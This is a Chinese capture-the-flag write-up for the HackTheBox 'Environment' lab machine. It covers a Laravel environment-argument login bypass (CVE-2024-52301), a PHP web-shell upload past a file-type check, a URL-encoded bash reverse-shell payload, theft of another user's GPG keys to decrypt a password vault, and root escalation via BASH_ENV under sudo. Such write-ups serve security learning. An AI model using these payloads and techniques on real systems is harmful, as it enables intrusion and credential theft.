HTB Season7 Environment WP
一、信息收集
拿到靶机ip,测试连通性,随后使用nmap进行扫描

得到开放端口信息,随后使用dirsearch进行子域名信息收集

可以发现/login登录页面和/upload上传页面
二、建立立足点、拿到UserFlag
在/etc/hosts中添加10.10.11.67 enviornment.htb,先访问一下主页面,但是没有什么信息

访问登录页面,发现一个登录框,照常进行爆破和sql注入,但是没有什么成果

对登录进行抓包,修改一下传参

随后可以发现页面直接弹出错误

同时注意到
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
$request->session()->regenerate();
$request->session()->put('user_id', 1);
return redirect('/management/dashboard');
}
这段代码,这段代码的含义是检查当前Laravel运行环境是否为"preprod",如果是的话,则直接登录用户ID1,并且跳转到仪表盘
可以试着寻找一下如何进行绕过,可以查询到相关漏洞的利用方式
https://www.cybersecurity-help.cz/vdb/SB20241112127
https://github.com/Nyamort/CVE-2024-52301

可以试着进行绕过,同样进行抓包,在/login添加?--env=preprod

放行,发现成功绕过登录,进入到了仪表盘界面

同时发现Profile界面可以进行文件上传

创建一个simpleshell.php文件
进行文件上传类型的测试,发现存在文件类型的校验

进行文件上传抓包,修改上传文件的后缀(记得php后需要添加一个".",否则访问url会直接进行文件下载)

发送,发现上传成功

访问url,在后缀加上cmd执行命令,发现命令执行成功

接下来可以试着进行反弹shell,先在攻击机启动nc监听1234端口
然后构造url参数,输入在url后加上?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/<ip>/1234+0%3E%261%27
可以发现攻击机反弹shell成功

此时即可获取到UserFlag

三、RootFlag
先去考虑如何拿到hish用户权限,查看backup目录,可以发现keyvault.gpg文件

此时www-data用户是没有权限对hish用户进行解密的,但是我们可以尝试复制hish用户的gpg私钥进行解密
已知/home/hish目录下存在.gnupg目录

首先可以先创建一个目录,然后复制/hish目录下的私钥关键文件

此时就可以对keyvault.gpg进行解密,成功拿到hish用户的密码

登录到hish用户,sudo -l查看一下hish用户权限

可以发现env_keep保留了两个环境变量ENV和BASH_ENV,可以尝试用环境变量劫持shell启动时执行的代码,来执行任意命令
先创建一个脚本exploit.sh,然后赋予执行权限

再通过BASH_ENV变量,在systeminfo启动时加载脚本,随后即可拿到root权限

此时即可拿到rootFlag,通关该靶机


浙公网安备 33010602011771号